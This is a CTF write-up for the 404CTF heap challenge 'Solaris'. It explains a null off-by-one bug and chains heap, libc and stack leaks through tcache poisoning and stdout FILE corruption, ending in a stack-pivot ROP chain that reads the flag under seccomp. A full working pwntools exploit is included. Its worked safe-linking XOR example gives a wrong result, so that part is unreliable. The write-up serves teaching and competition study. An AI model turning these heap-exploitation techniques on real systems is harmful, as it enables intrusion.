TL;DR

Null off-by-one bug in heap management → LSB pointer corruption → leak heap (safe linking) → tcache poisoning to unsorted bin → leak libc → tcache poisoning to stdout → leak stack → tcache poisoning to stack → ROP chain with stack pivot → open/read/write flag with seccomp bypass 🌟

Challenge Files: chall (ELF binary), libc.so.6, chall.c


Note: This is one of my early CTF writeups! If you spot improvements, feel free to share! 🙂


Challenge Overview

“Solaris” is a solar system management program that lets you create solar systems and add planets to them. It’s got some cool ASCII art and a menu-driven interface for managing your cosmic empire! 🌌

Menu options:

1. create solar system    <- Create a new system
2. create planet          <- Add a planet to a system
3. delete planet          <- Free a planet
4. edit planet            <- Edit planet name
5. show planet            <- Display planet name
6. leave solaris          <- Exit

Binary Protections

$ checksec chall
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No

All protections enabled! 😱

  • Full RELRO - GOT is read-only
  • Stack Canary - Stack overflow detection
  • NX enabled - No shellcode on stack
  • PIE enabled - Addresses randomized

This is gonna be challenging. We’ll need heap exploitation!

Safe Linking - What Is It?

Safe linking is a heap protection introduced in glibc 2.32+ that obfuscates pointers in tcache and fastbins to make exploitation harder.

The problem it solves: Before safe linking, tcache bins stored pointers in plaintext:

tcache[0x40]: chunk1 → chunk2 → chunk3 → NULL

An attacker could easily:

  1. Leak a heap pointer from a freed chunk
  2. Overwrite it to point anywhere (tcache poisoning)
  3. Get malloc() to return arbitrary addresses

How safe linking works: Instead of storing plaintext pointers, glibc now “mangles” them with this formula:

mangled_ptr = (heap_address >> 12) ^ real_ptr

Where:

  • heap_address >> 12 = Upper bits of the heap base (acts as a key)
  • real_ptr = The actual pointer to the next chunk
  • ^ = XOR operation

Example:

Heap base: 0x0000555555554000
Real pointer: 0x0000555555554320
Key: 0x0000555555554000 >> 12 = 0x0000555555554

Mangled = 0x0000555555554 ^ 0x0000555555554320
        = 0x0000555555554274  ← This is what's stored in the chunk!

Seccomp Analysis

The binary also has seccomp enabled, restricting syscalls:

$ seccomp-tools dump ./chall
 line  CODE  JT   JF      K
=================================
 0005: 0x15 0x0d 0x00 0x00000000  if (A == read) goto 0019
 0006: 0x15 0x0c 0x00 0x00000001  if (A == write) goto 0019
 0007: 0x15 0x0b 0x00 0x00000002  if (A == open) goto 0019
 0008: 0x15 0x0a 0x00 0x0000000f  if (A == rt_sigreturn) goto 0019
 0009: 0x15 0x09 0x00 0x0000003c  if (A == exit) goto 0019
 0010: 0x15 0x00 0x09 0x00000021  if (A != dup2) goto 0020
 0011-0018: [dup2 argument checks: only allows dup2(1, 2)]
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

Allowed syscalls:

  • read, write, open - We can read the flag!
  • rt_sigreturn, exit
  • dup2(1, 2) - Only this specific call

No execve - Can’t get a shell, but we can open/read/write the flag file.

Source Code Analysis

Data Structures

#define MAX_SYSTEMS 4
#define MAX_PLANETS 8

struct system {
    char name[0x10];              // 16 bytes
    char* planets[MAX_PLANETS];   // Array of 8 planet pointers
};

struct system* systems[MAX_SYSTEMS];  // Array of system pointers
int max_systems = 0;

The Vulnerability: Null Off-by-One

In the add_planet() function, there’s a special “feature” (bug):

void add_planet(int i, size_t size) {
    int j;
    if (i < 0 || i > max_systems)  // Note: allows i == max_systems!
        return;
        
    if (i == max_systems && systems[i] == NULL && i < MAX_SYSTEMS) {
        // "Feature": creates both system AND planet at the same time!
        systems[i] = calloc(1, sizeof(struct system));
        systems[i]->planets[0] = malloc(size);
        printf("Enter the planet name\n>> ");
        fgets(systems[i]->planets[0], size - 1, stdin);
        printf("Enter the solar system name\n>> ");
        int size = read(0, systems[i]->name, 0x10);  // Reads 16 bytes
        systems[i]->name[size] = 0x0;  // 🚨 NULL OFF-BY-ONE!
        max_systems++;
    }
    // ...
}

The bug: After reading up to 16 bytes into name, it writes a null byte at name[size]. If we send exactly 16 bytes, size = 16, and we write a null byte at offset 16 - right after the name array!

Memory Layout

The struct system looks like this in memory:

Offset   Content
0x00     name[0x10]      (16 bytes)
0x10     planets[0]      (8 bytes) ← NULL BYTE WRITTEN HERE!
0x18     planets[1]      (8 bytes)
0x20     planets[2]      (8 bytes)
...

If we fill name with 16 bytes, the null byte overwrites the least significant byte (LSB) of planets[0]!

Exploitation Strategy

Phase 1: Leak Heap Address

Goal: Corrupt a planet pointer to point to a previous chunk, leak its address.

Steps:

  1. Create system 0 with 2 planets
  2. Create system 1 with 1 planet
  3. Use null off-by-one to corrupt system 1’s planets[0] LSB
  4. The pointer now points to system 0’s planet 0
  5. Delete system 0’s planet 0 → it goes into tcache
  6. Show system 1’s planet 0 → leaks the tcache fd pointer (with safe linking)

Code:

create_system(io, b'system1')
create_planet(io, 0, 0x30, b'A' * 0x20)  # planet 0
create_planet(io, 0, 0x20, b'B' * 0x20)  # planet 1
create_planet(io, 1, 0x20, b'C' * 0x8)   # system 1, planet 0
io.sendafter(b'>>', b'a' * 0x10)         # Trigger null off-by-one!

delete_planet(io, 0, 0)
show_planet(io, 1, 0)  # Shows corrupted pointer → leak!

Memory before:

0x56527d5a6260  [system struct]
0x56527d5a6270  name: "aaaaaaaaaaaaaaaa"
0x56527d5a6280  planets[0]: 0x000056527d5a62d0  ← Points to planet

Memory after null off-by-one:

0x56527d5a6260  [system struct]
0x56527d5a6270  name: "aaaaaaaaaaaaaaaa"
0x56527d5a6280  planets[0]: 0x000056527d5a6200  ← LSB corrupted!
                                        ↑
                            Now points backward to previous chunk!

Safe linking decode:

leak = io.recv(5)
leak = u64(leak.ljust(8, b'\x00'))
heap = (leak << 12) - 0x3000  # Undo safe linking obfuscation
log.info(f"Heap: {hex(heap)}")

Wait, what’s happening here? 🤔

The leaked value is a mangled pointer (safe linking). Let’s break down the decode:

  1. We leaked: 0x55554 (5 bytes, truncated mangled pointer)
  2. The real formula: mangled = (heap >> 12) ^ real_ptr
  3. Since both heap and real_ptr are close to each other on heap:
    • Lower 12 bits cancel out in the XOR
    • What remains is essentially heap >> 12
  4. To get heap base: (leaked << 12) gives us approximately the heap base
  5. The -0x3000 adjustment: Fine-tuning based on our specific heap layout

This works because in tcache, fd points to another chunk nearby, so the XOR result roughly equals the “key” (heap » 12)!

Phase 2: Leak Libc Address

Goal: Poison tcache to point to unsorted bin, leak libc pointer.

Strategy:

  1. Repeat null off-by-one to corrupt another planet pointer
  2. Free two 0x30 chunks into tcache
  3. Allocate large chunks (0x500) to consolidate heap
  4. Use corrupted pointer to edit tcache’s fd to point to unsorted bin chunk
  5. Allocate from tcache → next allocation comes from unsorted bin area
  6. Unsorted bin has libc pointers → leak!

Code:

# Setup same null off-by-one scenario
create_planet(io, 0, 0x30, b'E' * 0x20)  # planet 0
create_planet(io, 0, 0x30, b'F' * 0x20)  # planet 2
create_planet(io, 2, 0x30, b'G' * 0x20)  # system 2, planet 0
io.sendafter(b'>>', b'b' * 0x10)         # Null off-by-one!

# Free chunks into tcache
delete_planet(io, 0, 0)
delete_planet(io, 0, 2)

# Create large chunks to get unsorted bin
create_planet(io, 1, 0x500, b'H' * 0x20)
create_planet(io, 1, 0x500, b'I' * 0x20)

# Poison tcache to point to unsorted bin chunk
tcache = heap + 0x3300
unsorted = heap + 0x33e0
fake_tcache = safe_link(unsorted, tcache)
edit_planet(io, 2, 0, p64(fake_tcache))  # Write to tcache fd!

# Allocate twice - second allocation overlaps with unsorted bin
create_planet(io, 0, 0x30, b'J' * 0x8)
create_planet(io, 0, 0x30, b'K' * 0x8)  # This one!

# Delete a large chunk → writes libc pointer over our planet
delete_planet(io, 1, 1)
show_planet(io, 0, 2)  # Leak libc!

What happens:

  • Tcache bin for 0x40 looks like: chunk1 → chunk2 → NULL
  • We edit chunk1->fd to point to unsorted_bin_chunk
  • Tcache bin now: chunk1 → → unsorted_chunk
  • First alloc: gets chunk1
  • Second alloc: gets unsorted_chunk
  • When we delete a 0x500 chunk, it goes to unsorted bin
  • Unsorted bin writes libc pointers → we can read them!

Phase 3: Leak Stack Address

Goal: Use libc leak to attack stdout, leak environ pointer.

Technique: _IO_FILE exploitation to leak arbitrary memory.

Code:

# Poison tcache to point to stdout
tcache = heap + 0x3300
stdout = libc.address + 0x1ad760  # _IO_2_1_stdout_
fake_tcache = safe_link(stdout, tcache)
edit_planet(io, 2, 0, p64(fake_tcache))

# Allocate once to get past the intermediate chunk
create_planet(io, 0, 0x30, b'M' * 0x8)

# Forge fake FILE structure to leak environ
environ_addr = libc.address + 0x1b4320  # __environ pointer

fake = p64(0xfbad2887)            # _flags
fake += p64(environ_addr)          # _IO_read_ptr
fake += p64(environ_addr)          # _IO_read_end
fake += p64(environ_addr)          # _IO_read_base
fake += p64(environ_addr)          # _IO_write_base
fake += p64(environ_addr + 8)      # _IO_write_ptr (trigger output)
fake += p64(environ_addr + 8)      # _IO_write_end
fake += p64(environ_addr)          # _IO_buf_base
fake += p64(environ_addr + 8)      # _IO_buf_end

create_planet(io, 1, 0x30, fake)   # Overwrite stdout!

# stdout will now leak environ when we print
leak = io.recv(6)
stack = u64(leak.ljust(8, b'\x00')) - 0x1F358
log.info(f"Stack: {hex(stack)}")

How FILE exploitation works:

  • stdout is a FILE structure in libc
  • When we print, it uses fields like _IO_write_base and _IO_write_ptr
  • By setting these to point around environ, we leak stack addresses!

Phase 4: Overwrite Return Address

Goal: Poison tcache to point to stack, overwrite return address with stack pivot.

Setup:

# Poison tcache to point to stack (near return address)
tcache = heap + 0x3300
fake_tcache = safe_link(stack + 0x1F230, tcache)
edit_planet(io, 2, 0, p64(fake_tcache))

# Allocate "./flag.txt" string on heap (we'll need it)
create_planet(io, 0, 0x30, b'./flag.txt\x00')

# Build ROP chain on heap
POP_RDI = libc.address + 0x0000000000001765
POP_RSI = libc.address + 0x0000000000002f19
POP_RDX = libc.address + 0x00000000000d795d
POP_RAX = libc.address + 0x0000000000018f77
POP_RSP = libc.address + 0x00000000000013ea  # Stack pivot gadget!
syscall = libc.address + 0x000000000005fe62

rop_addr = heap + 0x33e0
flag = heap + 0x3300

# ROP chain: open("./flag.txt", 0, 0)
rop = p64(POP_RDI) + p64(flag)
rop += p64(POP_RSI) + p64(0)
rop += p64(POP_RDX) + p64(0)
rop += p64(POP_RAX) + p64(2)  # sys_open
rop += p64(syscall)

# ROP chain: read(3, heap_buffer, 0x28)
rop += p64(POP_RAX) + p64(0)  # sys_read
rop += p64(POP_RDI) + p64(3)  # fd = 3 (opened file)
rop += p64(POP_RSI) + p64(heap + 0x3b70)  # buffer
rop += p64(POP_RDX) + p64(0x28)  # size
rop += p64(syscall)

# ROP chain: write(1, heap_buffer, same_size)
rop += p64(POP_RAX) + p64(1)  # sys_write
rop += p64(POP_RDI) + p64(1)  # fd = 1 (stdout)
rop += p64(POP_RSI) + p64(heap + 0x3b70)
rop += p64(syscall)

# ROP chain: exit(0)
rop += p64(POP_RAX) + p64(60)  # sys_exit
rop += p64(syscall)

# Place ROP chain on heap
create_planet(io, 1, 0x200, rop)

# Overwrite return address with stack pivot
payload = cyclic(0x8)          # Padding
payload += p64(POP_RSP)        # Return here
payload += p64(rop_addr)       # New RSP → points to our ROP chain!

create_planet(io, 1, 0x30, payload)

# Exit program → triggers return
io.sendlineafter(b'>', b'6')
io.interactive()  # Flag printed!

Stack pivot explanation:

  1. We overwrite the return address with pop rsp; ret
  2. On the stack after return address, we place the address of our ROP chain
  3. When main() returns:
    • pop rsp loads our ROP chain address into RSP
    • ret pops the first gadget from our ROP chain
  4. Execution continues in our ROP chain on the heap!

Attack Flow Summary

1. Null off-by-one #1 → Corrupt planet pointer (LSB)
   ↓
2. Use corrupted pointer to leak heap via tcache
   ↓
3. Null off-by-one #2 → Corrupt another planet pointer
   ↓
4. Tcache poisoning #1 → Point tcache to unsorted bin
   ↓
5. Allocate overlapping chunk → leak libc from unsorted bin
   ↓
6. Tcache poisoning #2 → Point tcache to stdout
   ↓
7. Overwrite stdout FILE structure → leak stack via environ
   ↓
8. Tcache poisoning #3 → Point tcache to stack
   ↓
9. Overwrite return address with stack pivot gadget
   ↓
10. Place ROP chain on heap: open → read → write flag
    ↓
11. Exit program → stack pivot → ROP executes → flag! 🎉

Complete Exploit

#!/usr/bin/env python3
from pwn import *

exe = ELF("chall")
libc = ELF("libc.so.6")
context.binary = exe

def conn():
    if args.REMOTE:
        return remote("challenges.404ctf.fr", PORT)
    else:
        return process([exe.path])

def create_system(io, name):
    io.sendlineafter(b'>', b'1')
    io.sendlineafter(b'>>', name)

def create_planet(io, index, size, planet_name):
    io.sendlineafter(b'>', b'2')
    io.sendlineafter(b'>>', str(index).encode())
    io.sendlineafter(b'>>', str(size).encode())
    io.sendlineafter(b'>>', planet_name)

def delete_planet(io, system_index, planet_index):
    io.sendlineafter(b'>', b'3')
    io.sendlineafter(b'>>', str(system_index).encode())
    io.sendlineafter(b'>>', str(planet_index).encode())

def edit_planet(io, system_index, planet_index, new_name):
    io.sendlineafter(b'>', b'4')
    io.sendlineafter(b'>>', str(system_index).encode())
    io.sendlineafter(b'>>', str(planet_index).encode())
    io.sendlineafter(b'>>', new_name)

def show_planet(io, system_index, planet_index):
    io.sendlineafter(b'>', b'5')
    io.sendlineafter(b'>>', str(system_index).encode())
    io.sendlineafter(b'>>', str(planet_index).encode())

def safe_link(target, curr):
    return (curr >> 12) ^ target

def main():
    io = conn()

    # Phase 1: Leak heap
    create_system(io, b'system1')
    create_planet(io, 0, 0x30, b'A' * 0x20)
    create_planet(io, 0, 0x20, b'B' * 0x20)
    create_planet(io, 1, 0x20, b'C' * 0x8)
    io.sendafter(b'>>', b'a' * 0x10)

    delete_planet(io, 0, 0)
    show_planet(io, 1, 0)
    io.recv(6)
    leak = io.recv(5)
    heap = (u64(leak.ljust(8, b'\x00')) << 12) - 0x3000
    log.info(f"Heap: {hex(heap)}")

    # Phase 2: Leak libc
    create_planet(io, 0, 0x30, b'E' * 0x20)
    create_planet(io, 0, 0x30, b'F' * 0x20)
    create_planet(io, 2, 0x30, b'G' * 0x20)
    io.sendafter(b'>>', b'b' * 0x10)

    delete_planet(io, 0, 0)
    delete_planet(io, 0, 2)

    create_planet(io, 1, 0x500, b'H' * 0x20)
    create_planet(io, 1, 0x500, b'I' * 0x20)

    tcache = heap + 0x3300
    unsorted = heap + 0x33e0
    edit_planet(io, 2, 0, p64(safe_link(unsorted, tcache)))

    create_planet(io, 0, 0x30, b'J' * 0x8)
    create_planet(io, 0, 0x30, b'K' * 0x8)
    delete_planet(io, 1, 1)
    show_planet(io, 0, 2)

    io.recv(6)
    libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1accc0
    log.info(f"Libc: {hex(libc.address)}")

    # Phase 3: Leak stack via stdout
    create_planet(io, 0, 0x30, b'L' * 0x20)
    delete_planet(io, 0, 3)
    delete_planet(io, 0, 0)

    stdout = libc.address + 0x1ad760
    edit_planet(io, 2, 0, p64(safe_link(stdout, tcache)))
    create_planet(io, 0, 0x30, b'M' * 0x8)

    environ_addr = libc.address + 0x1b4320
    fake = p64(0xfbad2887)
    fake += p64(environ_addr) * 4
    fake += p64(environ_addr + 8) * 2
    fake += p64(environ_addr)
    fake += p64(environ_addr + 8)

    create_planet(io, 1, 0x30, fake)
    io.recv(6)
    stack = u64(io.recv(6).ljust(8, b'\x00')) - 0x1F358
    log.info(f"Stack: {hex(stack)}")

    # Phase 4: Stack pivot + ROP
    create_planet(io, 0, 0x30, b'N' * 0x20)
    delete_planet(io, 0, 3)
    delete_planet(io, 0, 0)

    edit_planet(io, 2, 0, p64(safe_link(stack + 0x1F230, tcache)))
    create_planet(io, 0, 0x30, b'./flag.txt\x00')

    # Build ROP chain
    POP_RDI = libc.address + 0x1765
    POP_RSI = libc.address + 0x2f19
    POP_RDX = libc.address + 0xd795d
    POP_RAX = libc.address + 0x18f77
    POP_RSP = libc.address + 0x13ea
    syscall = libc.address + 0x5fe62

    rop_addr = heap + 0x33e0
    flag_str = heap + 0x3300

    rop = p64(POP_RDI) + p64(flag_str)
    rop += p64(POP_RSI) + p64(0)
    rop += p64(POP_RDX) + p64(0)
    rop += p64(POP_RAX) + p64(2) + p64(syscall)
    rop += p64(POP_RAX) + p64(0)
    rop += p64(POP_RDI) + p64(3)
    rop += p64(POP_RSI) + p64(heap + 0x3b70)
    rop += p64(POP_RDX) + p64(0x28) + p64(syscall)
    rop += p64(POP_RAX) + p64(1)
    rop += p64(POP_RDI) + p64(1)
    rop += p64(POP_RSI) + p64(heap + 0x3b70) + p64(syscall)
    rop += p64(POP_RAX) + p64(60) + p64(syscall)

    create_planet(io, 1, 0x200, rop)
    create_planet(io, 1, 0x30, cyclic(0x8) + p64(POP_RSP) + p64(rop_addr))
    io.sendlineafter(b'>', b'6')
    
    io.interactive()

if __name__ == "__main__":
    main()

Lessons Learned

Exploitation techniques:

  1. Null off-by-one exploitation - A single null byte overflow can corrupt pointer LSBs, especially powerful on heap where chunks are often aligned.

  2. Safe linking bypass - Modern glibc obfuscates tcache pointers with (heap_base >> 12) ^ pointer. The bypass is simple but essential:

    • First, leak ANY heap address
    • Calculate heap base from the leak
    • Use the heap base as XOR key to encode your fake pointers
    • Without the heap leak, safe linking is unbreakable!
    • The formula is: mangled = (heap_addr >> 12) ^ target_addr
  3. FILE structure exploitation - stdout is just a structure in libc. By corrupting it, we can leak arbitrary memory when the program prints.

  4. Seccomp constraints - No execve, but we can still read files with open/read/write syscalls. Adapt exploit to constraints!


Flag: 404CTF{f3el_th3_l1ght_sh1ne_0n_my_f4ce}

bigbang